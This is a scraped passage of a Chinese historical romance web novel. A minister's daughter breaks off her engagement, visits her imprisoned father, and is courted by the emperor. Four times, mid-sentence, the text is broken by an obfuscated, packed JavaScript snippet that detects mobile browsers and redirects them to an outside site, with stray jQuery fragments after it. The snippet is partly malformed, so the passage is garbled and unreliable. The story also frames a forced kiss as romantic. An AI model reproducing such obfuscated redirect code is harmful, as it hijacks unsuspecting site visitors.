龙岩寺的事,袁子逸一早就听母亲说过,只是没放在心上,就想着事后跟沈若辞见了面,安抚她一下,这事便可揭页。可此时母亲当着沈若辞的面说出这些话来,袁子逸一时愕然,不敢相信母亲会是这种落井下石的人。他转而去看一旁的袁国公,希望父亲能出来说两句公道话,他们袁家不是这种背信弃义的小人。 袁国公知道这个儿子自小刚正坦荡,怕是短时间不能接受这个事实,“逸儿,听你母亲的话,离开她,议亲一事到此为止……” 经过龙岩寺一事,沈若辞已提前有了心里准备,多少也明白了袁家的意思,不外乎是父亲落了难,这些人也就开始视她如洪水猛兽,生怕一个不小心要受牵连。 人情冷暖,世态炎凉,她都懂,毕竟两家还没有婚约,议亲一事尚在口头,并无实质性的进展。 沈若辞也想过若是父亲真的蒙了冤,日后恐怕会累及袁子逸的前程,倒不如好聚好散。 虽说她也萌生过要与他分开的想法,但此时这些话由他们口中说出来,却变得难以接受了许多,心中更是酸涩。 袁家人面目可憎,但沈若辞到底不想袁子逸在她与父母之间左右为难,正想开口调和,一旁隔岸观火的袁妙莹看出苗头,误以为她要求情卖可怜,抢在前头道,“大哥一早便该离开她的,现在好了,落人口舌,让人以为是她家失了势,我们才抛弃人家的!” 袁子逸打小孝顺,他明白父母的苦心,但他不想因此失去沈若辞,这是他从小就喜欢的女孩,怎能自己亲手放开呢。内心一番纠结过后,他红着眼恳求道,“父亲母亲,我向二老保证,以后不让小辞干涉沈相的事,只要她置身身外,就不会牵连到我……” 就算袁子逸此时被逼急了,慌不择言,可当置身事外这四个字从他口中说出来,一直垂头不语的沈若辞倏地抬眸去看他,面上隐隐有失望之色。 “……好不好小辞?”袁子逸回头看她,希望沈若辞能当场表明态度,不再掺和沈相的事。 他可以说想跟她分开,但不能让她放弃自己的父亲。 “不好……”沈若辞摇头,身子不受控制往后退了一步,她几乎是不假思索地回道。 沈若辞没有母亲,没有兄弟姐妹,从小到大只有父亲一人真心爱她、护她。沈相是她的父亲,是她唯一的亲人。叫她如何能置身事外? 这一刻的袁子逸,她觉得是陌生的。印象中他从来都是从容不迫、谦和有礼的姿态,眼下他正两眼猩红,神色慌乱,用恳求的眼神看着她,“沈相的事,不要管,求你了……” 沈若辞一颗心狠狠地揪起。 她面容还算平静,眼神里全都是难以置信。一言不发地看着袁子逸近乎讨好的央求,心中却没有半分妥协的迟疑。 这一幕看在袁夫人眼里,更加深了她的怒气,“逸儿你再执迷不悟下去,早晚被她毁了前程!” 袁子逸只冷冷地听着,也不做回答。 国公夫人没想到向来听话孝顺的儿子,竟然因为一个女子忤逆于自己,不由得将所有过错都归咎于沈若辞身上。 不过是来路不明的狐媚子,若不是沈相视她为千金,她如何能同意袁子逸和她来往! 此时见她姣好的面容风轻云淡,一副事不关己高高挂起的模样,丝毫没有破坏别人亲情关系的愧疚,一口怨气上来,破口大骂,“你爹而今失了势,你这病秧子空有一副美貌又能如何,扔大街上都不会有男人要,哪个男人会真心想要你这丧门星,生不出孩子又……” “母亲!” 袁子逸几乎用尽全身的力气喊出这两个字,声音之大,吓得国公夫人住了嘴,再不敢往下说。 袁家人乱成一团,这时的沈若辞反倒冷静下来。要说先前她还在彷徨接下来的路要怎么走,此刻竟有了明路。 她掐着掌心,娇娇柔柔的声音却透着果决,“国公爷、国公夫人不必逼袁大哥,若辞依你们的意思,议亲一事就此作罢。” 她神色不卑不亢,努力不表现出慌乱。只是在转身面对袁子逸的时候,眼中有过一丝松动,“袁大哥不想自己的父母操心,若辞也不会放弃自己的父亲。” “既然如此,我们也没有继续下去的必要,倒不如依你父母的意思,日后各自安好。” 袁子逸胸腔一震,仿佛被人兜头泼了盆冷水,一路冷到脚底板去,他怔愣地看向沈若辞,正怀疑自己听错的时候,又见她轻垂了眼眸,声音微微沙哑,“若辞在这里祝袁公子前程似锦。” 话音刚落,沈若辞果断转身往外走。 不出意外的话,这估计会是她最后一次出现国公府。 等袁子逸反应过来的时候,沈若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16404469|184415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辞已走到院中,他踉踉跄跄地追了出去,夏日的风迷了他的眼。 宋临不知何时来的国公府,小心翼翼地护着沈若辞离开。 风停了,大朵白云聚拢起来,在他脚边投下一片阴影。袁子猛然惊醒,眼神里的悲伤慢慢地化成绝望。现在的她,与两年前的沈若辞一样,有着相同的决绝。 * 御书房内。 严从晖将沈若辞送回沈府后,马不停蹄地赶回皇宫复命,“皇上,沈姑娘已平安到家。” 元栩从奏折堆里抬起头来,凝了他一眼,“见到人了?” 简短的几个字印证了他心中所想,严从晖心头一叹,答非所问,“皇上真的决定让沈姑娘入宫?” 元栩微微颔首。 严从晖神色一沉,面上隐隐有忧虑。 他不过年长元栩三岁,看起来却意外的老成。就连行事,也跟外貌如出一辙的老练稳妥。 可是这件事上面,明知于理不合,他还是要开这个口,“臣斗胆说一句,天下爱慕皇上的女子不计其数,皇上为何非要沈姑娘入宫?” 旁人不知道内情,他却是再清楚不过。 元栩没有将他的话听进去,所幸也没有多加怪罪,只淡淡地回了一句,“朕意已决。” 严从晖真心认为沈若辞不适合入宫。且不说那女子愿不愿意,就单论沈相,是万万不可能同意放爱女入宫的。 “皇上……” 他话到嘴边,忽然发现皇帝眼中闪烁的光芒,有一种久违的熟悉感。严从晖惊讶之下,双唇一僵。 “她忘了。” “忘了朕。” 皇帝看着他,眸光更盛,分明只差将这三字重复说上个一百遍的冲动。 严从晖将这三个字回味了一下,待明白的过来的时候,脸上皆是震惊…… 这会儿他才回味过来。 也难怪那女子如同变了个人,像是从来没有见过他一般。种种怪异,竟是因为如此。严从晖心绪翻涌,方才被打断的话,这时候已不知所踪,抛到了九霄云外,脑子只剩下惊讶。 * 沈若辞昨夜睡得还算安稳,一早起来周身还有些疲倦,但精神状态却很好。 马车里她神色期盼,怀里抱着一个大包裹,小心翼翼地放在腿上护着,正是那坛治腿伤的药酒。 一路辗转,马车停在天牢门口。才刚下了马车,就有狱卒上前打招呼,“沈姑娘,这边请。” 沈若辞跟着狱卒进了天牢,牢里寒气逼人,空气浑浊,弥漫着难闻的霉味。 走道两边皆是窄小昏暗的牢房,偶尔有犯人发出几声呻吟嚎叫,吓得沈若辞加快了脚步。 走道的尽头,有一扇不大的窗户,光线铺洒进来,视野渐明。沈若辞心跳加快,下意识地屏住呼吸,视线往角落里单独一间牢房看过去——一道伟岸的身影正倚着墙壁,双目紧闭。 沈墨穿一身粗劣的囚衣,多日来的牢狱生活早让他形容落拓,却难掩丰神俊朗,气质超凡。 9. 第 9 章 他闭着眼睛,实际上却没有睡着,一路听着脚步声越来越近,沈墨缓缓地掀开眼皮,双眸深邃,如雄鹰一般犀利有神。 “爹爹……”沈若辞脱口出,整个人扑上前去,隔着牢门瞬间泪如雨下。她昨夜原本已经想好,绝不在沈相面前掉眼泪,省得让他操心。 等真正见到面的时候,却没想到根本控制不住。 在侧头过来看的那一刻,沈墨眼神变得柔和起来,嘴角也微微上扬,轻声唤了她的小名,“沿沿……” 狱卒开好了门,沈若辞朝里边环视一周,整体还算整洁干净,环境要比其他的牢房好上很多,这让她稍稍宽心。 二人坐定后,沈若辞拿出衣物书籍药酒等东西,一一展示给沈相看了一遍。 沈墨神色慈爱,耐心等沈若辞交代一遍之后,才开口询问,“沿沿怎么进来的,去求了谁帮忙?” 沈若辞低着头,一边将药酒包好,一边回答,“是柳太妃,我求她在皇上面前帮我说说话,让我来牢里见爹爹。” 沈墨不疑有他,说到底若辞只是一个弱女子,皇上没要防她的必要,肯让她来探监也不足为奇。 “沿沿要信爹,爹没有做通敌叛国的事情,那狼崽子不敢拿爹怎么样的。” 狼崽子这个称谓,沈若辞从小听到大,自然明白他指的是皇帝。以前听沈相说这称谓的时候,她脑中总是把小皇帝想象成张牙舞爪的恶狼,然后龇牙瞪眼,把她爹气得半死。 这是年幼时的认知,一直延续到长大,直到昨日入宫见了皇帝真容,她才恍然大悟,原来自己一直想错了。 恶狼也可能披着人皮,化做个风度翩翩的美男子。 沈若辞肯定相信父亲的品行,重重地点了点头,“沿沿相信爹。” 父女二人又说了一会话,狱卒来催了两遍,沈若辞才依依不舍地准备离开。 一只脚刚迈出牢房,沈相开口叫住了她,“沿沿,照顾好自己。爹没事的,你安心在家里待着,养好身子要紧,别到处奔波去求人。” 沈若辞明显一愣,才回过神来笑了笑,“知道了爹爹,我就找了柳太妃,没找其他人……您在狱中也要注意身体。” 出了天牢,沈若辞心头开始蒙上浓浓的失落感。碍于狱卒全程在一旁观望,她心中的疑问终究没能问出口。 姜国来的信件,到底写了什么不可告人的秘密,以至于父亲情愿蒙冤入狱,也要当众撕毁信件? 目前父亲身体虽然还算安好,但最后能不能平安出狱,却还是未知数。 沈若辞忧心忡忡地从天牢里出来,根本没注意到有人在喊她,直到手臂被人紧紧握住,才吓了一跳,回过神来。 “小辞,是我。”袁子逸在门口等了一段时间,日光毒辣,额头也沁出一层薄薄的汗珠。 沈若辞有些意外,昨日她已经将话讲得很清楚了,没想到袁子逸还会来找她。 “子逸哥哥……” 沈若辞口中泛苦,事情已到了她无法控制的地步,分开才是对他最好的安排。 她狠了狠心推开袁子逸。 袁子逸一颗心如坠冰窟,勉强笑了笑,“小辞,你是不是有什么苦衷?之前是我错了,我这就去求我爹,让他去求皇上……” 话音未落,不远处一辆奢华的马车缓缓行近,余下的言语淹没在车轮的滚动声中。 袁子逸懊恼地抬头,马车毫无防备地停在二人跟前。车夫跳下车来,屈身垂首,恭恭敬敬地上前开门。 车门敞开,里边伸出一只男人的手,五指修长,骨节分明。 袁子逸还没反应过来,里头的人突然开口,声音清透如玉,“沿沿……” 这一声出来,袁子逸呆若木鸡,神情如遭雷轰。 沈若辞正试图挣开袁子逸的手,意外听到有人喊她的小名,一个抬眸,那天潢贵胄正坐在马车里,衣冠楚楚,目若朗星,风度翩翩地朝她伸出一只手来…… 一时心中大惊,莫非皇上同意让她来见沈相,真的是别有居心? 她心中忐忑,正准备跪拜行礼,严从晖及时阻止了她,“沈姑娘不要声张,请上车。” 沈若辞犹豫不定,元栩又轻轻地催她,“沿沿,上来……” 袁子逸看了一眼马车中的男子,又低头去看沈若辞,心中泛起一阵阵苦意。沿沿是沈若辞的小名,他曾学着沈相唤她“沿沿”,却被委婉地拒绝了。 而今从别的男人口中听到她的小名,那份亲昵,就像是一把尖刀,毫不留情地划向他的脸。 沈若辞迟疑了一下之后,准备上马车,却被袁子逸再次抓住了手臂。 “小辞,他是谁……”他嘴唇微微颤抖起来,不可置信地问道,“你们认识?” 沈若辞与他对视,轻声应道,“他是皇上。” 皇上?袁子逸愣了一下,脑中气血翻涌,心思百转千回,刹那间千万种念头涌上心头。果然如此,她果然是有难言之隐…… 想到这里,袁子逸心中急不可耐,上前一步拱手行了一礼,正欲开口,肩膀忽地被人使劲攥住了。他被迫回头一看,按住他的人,竟是父亲袁国公。 袁国公神色凝重,无声地向他摇摇头。 沈相的命运还掌控在皇帝手里,沈若辞也怕袁子逸因她触怒皇帝,缓缓地吐出一口气之后,将手递了出去。 袁子逸眼睁睁地看着沈若辞的手伸向另一个男人掌中,一个可怕的念头蹿入脑中。 直觉告诉自己,若这次没能抓住她,他会永远失去她了……想到这里,袁子逸像抓到一根救命稻草一般抓紧了她的袖子,低声恳求,“小辞,别……” 沈若辞被拽得身子一顿,停在原地。 拉着她袖子的那只手显得格外刺眼。 元栩眼神骤然转冷,眼中闪过一丝狠戾,冷笑道,“袁大人,曾听说国公府的大公子温文有礼,朕看着可不大像。” “孽子!你这是做什么!”袁国公一时急火攻心,一把扯开袁子逸的手,伸脚一踹,压着他的腿跪了下去。 袁国公匍匐在地,痛心疾首,大有恨铁不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16404470|184415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成钢之意,“老臣教子无方,皇上息怒。” 皇帝看起来很不高兴,沈若辞心里隐隐担忧,若是袁子逸惹怒皇帝,牵连到她爹,那就大事不妙了。 想到这里,她乖巧地将右手放入元栩掌中,掌心温热,半晌之后皇帝才反手将她拉入车中。 袁子逸惊觉身边一空,再抬头时,身边已不见了沈若辞,一时间心头空落落的,是他从未有过的绝望。 袁国公拍了拍身上的尘土,将失魂落魄的儿子推上了马车。 二人坐定后,袁子逸如梦初醒般,扶着父亲的双腿跪在他面前,“父亲,你帮帮我……” 袁国公眉目冷淡,低头看了看儿子,冷哼一声,“子逸可知道,举报沈相的神秘人是谁?” 袁子逸茫然地摇头,他没有心思思考这个问题,他只希望父亲能帮他一次,“求你了父亲……” 袁国公气闷,长叹一声。心中冷笑,终究是年少无知,若成大业,还怕没有女人! * 马车上沈若辞绷紧了身子坐在车厢内,空气中安静得出奇。 她的手仍被皇帝握着,大掌下边宽厚温热,烫得她脸上一阵又一阵的燥热…… 元栩今日穿一身月白色的长袍,修长的身子半倚着车壁,手脚舒展,周身都透着慵懒的贵气。 沈若辞只看了一眼,就迅速移开目光,她不敢开口要求皇帝什么,只能任他随心所欲地握着自己的手。 父亲这些年来孑然一身,一心为朝廷建功立业,立下战功不计其数。十几年来呕心沥血,这心路历程怕没人能比皇帝更加清楚。 若皇帝少不更事无法明辨是非也就算了,可如今皇帝明明就是个大人了,站起来都快高她一个头,怎能还如此不分青红皂白。 沈若辞沉浸在自己的世界中,猝不及防掌心一阵痛感,疼得她“啊”的一声,差点没将皇帝的手甩开。 皇帝一直冷着脸似在沉思,周身都透着淡漠疏离。 车轱辘碌碌前行,沈若辞脑中嗡嗡作响,不知哪里出了岔子,又惹怒了他。 车中一时静得出奇,沈若辞提起胆子,轻声问道,“臣女可是做错了什么,惹皇上不开心了?” 这一声示弱,元栩面色稍缓,凝着她的眼问,“如今你是朕的人了,为何还要与别的男子牵扯不清。” 沈若辞鼻头一酸,什么别的男子,袁子逸与她青梅竹马,若不是这次意外,恐怕都要定亲了。 皇帝长指似有若无地拂过她的手背,眼神冷得透着冰渣子。昨日她从宫中出来后就去国公府推了议亲一事,今日袁子逸的出现纯属偶然,她又如何能控制? 沈若辞咬了咬牙,低声辩白,“臣女并没有……” 她的手掌还疼着,眼中有泪光,被她强压了下去,双眸看起来水光潋滟。 元栩心头一软,“嗯”了一声,忽然伸过长臂,拦着她的腰将人捞到了身边。 沈若辞与他肩并肩坐着,男人身子硬邦邦的,浑身都是陌生的气息,她略显局促,心跳慌乱。 10. 第 10 章 “让朕瞧瞧……”他若无其事地翻看她发痛的手掌,轻轻地揉了揉,“还疼吗?” “嗯”,沈若辞娇娇地应了一声,她最怕疼了,何时受过这种欺负。 元栩自小习武,又上过战场,力气比寻常人要大上一些。他不过轻轻一使劲,这女子就疼得快哭了,未免有些娇气。 心里这般想,手上动作却没有停下来,温声道,“以后不许想着别的男人,更别想朕会让你嫁人。” 她情绪恹恹地点了点头,国公府怕受父亲牵连,已跟她划清立场,议亲的事就此作罢。那日寿宴上,她跟袁子逸之间说清楚了,就此分开,彻底断了过去的情谊。 今日她在牢狱中亲眼见到父亲的处境,当时就想当务之急还是先把人弄出来,其他的事暂且不表。如今她独身一人,也不怕辜负别人了,“皇上,那日您让沿沿回去考虑入宫的事,沿沿现在已经有了答案,随时可以……” 她话还没说完,皇上就冷漠地打断她,“此事暂且不谈。” “可是……”她还想说下去,但触及元栩冰冷的眼神,又将话咽了回去。 皇帝拉着她的手揉了一会,漫不经心地问道,“沿沿可知道,沈相叛国一事,是谁揭穿的?” 听皇帝提及父亲的事,沈若辞猛地抬头与他对视。 元栩只是看着她,神色从容淡定,却不接着往下说。 沈若辞对朝堂之事所知不多,但父亲为人刚正不阿,铁面无情,想必日常中得罪的人也不在少数。因此若论及谁举报的沈相,她丝毫没有头绪。 所幸皇帝并没有吊着她的胃口,只沉默一会,就说出了此人,“是袁国公。” 沈袁两家的关系,虽说不上有多亲密,但绝对算不上交恶,沈若辞一时难以置信。 但让更让人吃惊的是,皇帝告诉她这件事,这究竟是何目的?倘若他的话是真,袁国公为何要这么对自己的父亲?明明两家都要议亲了。倘若他的话是假,那皇帝是为了离间沈家跟国公府?这又出于什么目的呢? 恐怕这事要告知父亲,才能有定夺。 元栩似乎读懂了她的吃惊,轻描淡写地往下说,“沿沿不必吃惊,朕只是想告诉你,沈相一事关系复杂,绝非朕一人说了算。沈家忠心于朕,也要让众人都看到才是。” 沈若辞细细地把皇帝的话品了一遍,然后垂下眼帘,咬了咬牙温顺地回答,“臣女听皇上的。” 以前从沈相口中,沈若辞觉得小皇帝性子刁钻古怪,又喜欢反其道而行之。而今接触下来,不得不感叹还是自己想得太简单,这人明明就心思复杂,高深莫测得很! 这席话模棱两可,含糊其辞,说到底就是不放沈相出来,当真狡诈得很。父亲仍身陷狱中,此时正是任人拿捏的时候,她也只能恭顺服从暂且屈服于他…… 元栩点了点头,似乎对她的回答很是满意,“天气闷热,这附近有座避暑山庄,沿沿随朕一起去吧。” 皇帝喊她小名,一声接着一声,喊得极其顺口。沈若辞脸上不显,心中别扭得很。这本该是亲近之人的叫法,皇帝看起来彬彬有礼,实则脸皮厚得很。果然只如她爹所说,是个没皮没脸的狼崽子! 避暑山庄依山傍水,山腰上有几处瀑布,似雪白玉带流淌下来,凉意浸润,化作涓涓细流入了山庄寒潭。 竹室依着寒潭而建,水声潺潺,凉风袭来,清凉沁骨,暑意顿时消解了大半。 下人们陆陆续续将菜肴端上来,很快摆满了一桌子。 沈若辞自生病之后,每逢夏日便是食欲不振,进食很少。今日看着一桌子的珍馐佳肴,只吃了几口,就不再动筷。 相反地,元栩似乎胃口极好,慢条斯理地品尝。沈若辞就算吃饱了,也没好意思提前离席,只能干坐着等他。 等了一刻钟之后,侍女过来将碗筷收拾干净,又送上两碗甜品。 纯澈透明的蓝色琉璃盏里,二三个圆滚滚的荔枝,冰雪晶莹浑然可爱,冒着丝丝缕缕的寒气。 沈若辞小尝一勺,冰冰凉凉的,瞬间沁透心脾。入嘴酸甜可口,想必是加了乌梅汁和蜂蜜,伴着荔枝的香甜在唇齿间回转,甚是爽口。 目之所及,湖光山色,水声鸟语相伴,琉璃盏中的凉饮很快被一扫而空。 沈若辞低头看了看见空的杯底,意犹未尽。元栩站在竹室长廊下逗着画眉鸟,沈若辞视线微调,落在元栩的琉璃盏上。 岳常安擅长察言观色,走上前用元栩的琉璃盏换下沈若辞的空盏,殷勤道,“沈姑娘请用,后厨还有许多,需要再让人送来。” 沈若辞小心翼翼地朝廊下望过去,皇帝正在给画眉鸟喂食,看着心情甚是愉悦,估计一时半会也不会过来吃东西。 天气热,透明的琉璃盏外壁沁出许多水珠。若是不冰了,吃起来风味会差许多。她吃着喜欢,也没有客气,道谢后就准备开吃。未曾没吃上一口,那蓝色的琉璃盏忽地被人从眼前夺走了。 沈若辞错愕地抬头,还没来得及弄清楚发生了什么事,就见元栩俊容绷紧,神色冰冷地站在她面前。 那盛着荔枝凉饮的琉璃盏被他随手一扔,碎在了角落里,语气也冷冰冰的,颇为不满,“朕让你吃了吗。” 沈若辞没想到元栩会为这点小事动怒,忙起身后退了两步,身子抵着栏杆,手脚拘谨,窘迫地回道,“是臣女贪嘴了……” 元栩心头一颤,见那女子低垂着眼眸,浓密的长睫卷翘秀丽。双唇温润,被那冰寒的凉饮激得嫣红透顶,娇嫩欲滴,好像在引人采撷。 他忍不住皱起眉头问,“这荔枝凉饮真有那么好喝?” 沈若辞松了一口气,如实回答,“真的好喝,皇上可以试一下。岳公公说还有……唔……” 眼前投下一片阴影,樱唇突然被封住,紧接着唇舌被攥取,带着男人陌生而清冽的气息,强势地侵入她的呼吸,让沈若辞整个人都慌了。她从没有遇到这种情况,身子被迫向后,小脸微微仰着,承受着男人霸道地碾磨…… 角落里琉璃盏再次落地,清脆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16404471|184415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的碰撞声让她瞬间回神,奋力挣扎着去推开在她身上逞凶的野兽。 元栩没有让她费多少力气,便缓缓地松开手,又将她的上半身从栏杆外边拉回来。 岳常安害怕自己要长针眼,再次蹲回地上,收拾破碎的琉璃盏。 沈若辞一手抵着皇帝的胸膛,双颊红透,撑着栏杆站直了身子。她微微喘息,双眸雾蒙蒙的,似乎快哭了的样子。 元栩扶着她站稳了,才用手抹了抹自己的唇,若无其事地向沈若辞表示赞同,“说得不错,这荔枝凉饮果然美味。” 沈若辞怔愣在原地,见元栩长指再次拂过下唇,似在回味什么美好的东西…… 这人,如此无礼,仅仅为了尝尝荔枝凉饮的味道? 她才不信! 沈若辞头一回被男子这般对待,就算对男女之事再无知,也不至于天真地认为皇帝只是在尝那凉饮的味道。 仔细想想,以往皇帝在沈相那儿受了气,而今要对她玩些手段报复回来。这事本来可以理解,只不过这手段也太……下作了! 沈若辞双唇火辣辣的,可皇帝就在跟前,她想伸手去擦一下也不敢,浑身都不自在。就算如此,一张俏脸仍表现得风轻云淡,要不是攥得发白的指尖微微颤抖,很难看出她真实的情绪。 “皇上这是何意?” 皇帝看了她一眼,轻松道,“尝尝味道。” 至于尝什么,他却故意不说清楚。 沈若辞拿他无可奈何,桌子下的一双柔荑将裙摆攥得更紧,红着眼小声说道,“求皇上不要捉弄人。” 那声音委委屈屈,听得人心都酥了半边。 可皇帝却像不解风情的。 “朕今日来肠胃不好,吃不了生冷的东西,刚刚不过是借你的嘴尝一尝味道,谈何捉弄?” 他说得一本正经,沈若辞明知他在胡说八道,却拿他没有办法,一双柔媚的眼儿瞪得圆圆的,不知要说他什么好。 皇帝冷笑一声,毫无预兆地凑上前去,声音带着明显的嘲讽,“沈姑娘该不会以为朕是在亲你吧?” “唔……” 沈若辞被他反将了一军,这般言辞凿凿,倒显得她自作多情了。 她红了眼眶,一时无言以对。 “沈姑娘累了,朕也不怪你想多了。” 这会儿沈若辞忽然有点明白沈相的感受,皇帝做事不按常理出牌,这种异于常人的思路,难怪她爹经常跳脚大骂他狼崽子…… 沈若辞抿紧了唇没有反驳,他说什么就是什么,谁叫他不要脸呢。 岳常安躲在角落里收拾了半天,总算把碎片都捡齐了。再回过头来,那小姑娘被欺负得面红耳赤,涨红了脸不知所措。 他心里暗暗地道了一声“造孽”,正想着要缓和一下气氛,就听皇帝开口命令道,“常安,送沈姑娘去休息一下。” 幸好皇帝还知道适可而止,没有把人往死里欺负。 以往那些意图靠近皇帝的女子,哪个会有好下场? 11. 第 11 章 岳常安连声应下,走到沈若辞跟前准备带她去休息的竹室,这才长长地舒出一口气。 他也一把年纪,早就在宫里见惯了大风大浪,如何能想到刚刚一时大意,竟然还失了手,犯了蠢。 不过这事说回来,也不能全怪他。小皇帝是他看着长大的,向来不喜欢女子,特别是达官贵人家的千金小姐,娇滴滴的,说个话都气喘,看着就心烦。 后宫那几个妃子,都入宫快两年了,什么时候见这小祖宗过问侯过一句。他不过低头收拾一下碎片,没想到一个转头,那烫人耳目的一幕,就这么活生生地在眼前上演,实在让人无法冷静…… 幸好皇帝还有点自知之明,没坐一会儿就吩咐他送沈相千金去隔壁休息,他才得以松懈一下。 岳常安在前边引路,沈若辞无心欣赏园林美景,她的注意力都在自己微微发肿的唇瓣上。 她与袁子逸青梅竹马多年,却从未有过逾矩的行为。哪怕是及笄后这两年,也未曾做过亲密的事,就连拉手的次数,也是少的可怜。 哪有人就见两次面,就亲上了呢? 沈若辞想起从前,沈若嫣曾私底下跟她打听,她与袁子逸有没有有过亲密行为,她坦诚地回答没有过。 沈若嫣一脸难以置信,眼神在她的身段上来回逡巡了两遍,才幸灾乐祸地问道,“袁子逸怕不是有什么隐疾吧?” 沈若辞才后知后觉地发现,她跟袁子逸之间,不似话本上的男女,青梅竹马也能爱得炙热、热烈。 可能是因为自己身体不好的缘故,加上她又因病失去一些记忆,所以跟袁子逸之间才没能做到亲密无间,沈若辞当时是这么安慰自己的,或许等病好了,就能像其他女子一样,爱得热烈明媚了。 就是,现在好像没有机会了。 至于皇帝刚刚……吃她嘴唇的事,沈若辞想,这肯定是狼崽子为报复她爹,用来折辱她的手段。她虽不懂亲嘴的事,但是她懂狼崽子的黑心肝,就是故意要她难堪。可是做坏事的人不是她,她何必为难自己? 真是幼稚。 这么想来,沈若辞安安心心在竹室睡了一觉,醒来的时候已日近黄昏。皇帝不知何时已先行离开,留下严从晖护送她归家。 归家的马车上,沈若辞手中多了一纸请帖,是七夕的宫宴邀请,但这事她并没有放在心上。 她更在意的是,皇帝反复放她归家是何用意。若是要留她牵制沈相,却不把她囚禁起来,反而屡次放她离开。 就算她主动提起入宫的事,他竟然说暂且不谈,莫非是反悔了? 这人到底揣的什么心思? 还是说皇上压根儿不想还她爹一个清白,就是跟她说着玩玩的,但这又大可不必…… 思来想去,绕来绕去,她都理不出头绪,心中懊恼不已。 * 晚上回到宫中,皇帝处理完白天的政务,总算清闲下来。这本该是一天中最轻松的时刻,此时他却身着龙袍,背靠龙椅,仰着头思索,一筹莫展。 腰间的佩玉不知何时扯了下来,拿在手中,有一下没一下地敲着前额。 岳常安看着都觉得痛,上前提醒,“皇上,夜深了,该休息了。” 皇帝拧着眉头,对他的话置若罔闻,半晌之后才狐疑地问道,“常安,你说实话,朕白天在山庄里是不是太凶了?” 岳常安回想起午饭过后,沈若辞就去竹室休息,皇上因为他摔了琉璃盏一事,训斥了他几句。 当时他心里确实委屈,现在看皇帝为此事愁眉不展,也不把它当一回事了,当即脸上堆满了笑容,“是老奴疏忽,皇上训斥得是。” 元栩当场不满地睨了他一眼,“谁管你的事,朕问的是,朕对沿沿说话的态度,是不是太凶了?” 他整个人半躺在椅子上,姿势慵懒散漫,眉心紧锁,完全没了帝王的威严,看着倒像个养尊处优的贵公子,正在为如何讨女孩子欢心忧心不已。 岳常安有点受伤。 皇帝如此焦心劳思,压根儿与他没有半毛钱关系。这小祖宗问的是那沈相的千金,他一早该想到的才是,怎么就又出了这种丑! 他只想赶紧将话题转移,“皇上放心,我看沈姑娘一直是心平气和,根本没有因为您……发恼。” 皇帝强吻沈相千金一事,他没敢说出口,也不知该如何表述,干脆跳过不提。 元栩对他的说法不置可否。 岳常安暗叫不妙,果然皇帝对他的说法并不信服,这让他难免心忧,又准备了一番言辞来讨好皇帝。 可是皇帝没有给他表现的机会,又逮着他问,“常安,你说朕今日穿那身月白色的玄纹长袍,到底选对了没……” 元栩的思路转得太快,岳常安显然没跟上,一时给问呆住了。皇帝对他的迟钝很是不满,按着扶手坐直了身子,随手将佩玉扔到龙案上,“你就说说是不是比袁子逸那厮强!” 这问题岳常安他会,立马喜笑颜开,“那是肯定,皇上乃天潢贵胄,自然是天人之姿,岂是那袁公子能比的!” 这话明显就是奉承,元栩十分不满意,问了半天,没问到半点有用的答案,他烦躁地将人轰走。 身边一群人,没一个用着能顺心合意的! * 沈若辞的马车从沈府里出发的时候,严从晖带着人马在暗处跟着她。 而今一举一动都在别人的监视中,她心中也隐隐不快。皇帝大可不必如此大动干戈,毕竟沈相还在牢狱之中,她说什么也不会撇下父亲一个人逃走。 若是谈及叛国通敌——那本是无稽之谈,十足十的空穴来风。就算皇帝的人再怎么无孔不入,也不可能找到他想要的半点证据。 沈若辞摇摇头,这皇帝也太多疑了。 马车行驶了半路,沈若辞无事可做,摊开描着金边的请帖,心不在焉地看了起来。这七夕宴宫里每年都会举办,名门闺秀,世家子弟都是被邀请的对象。 世家贵女参加皇家宴席,有助于日后择一门好亲事。 沈若辞虽对盛京贵女趋之若鹜的“好亲事”无甚兴趣, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16404472|184415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但作为一个爱玩爱新鲜的女孩子,这种宴席还是十分有吸引力。 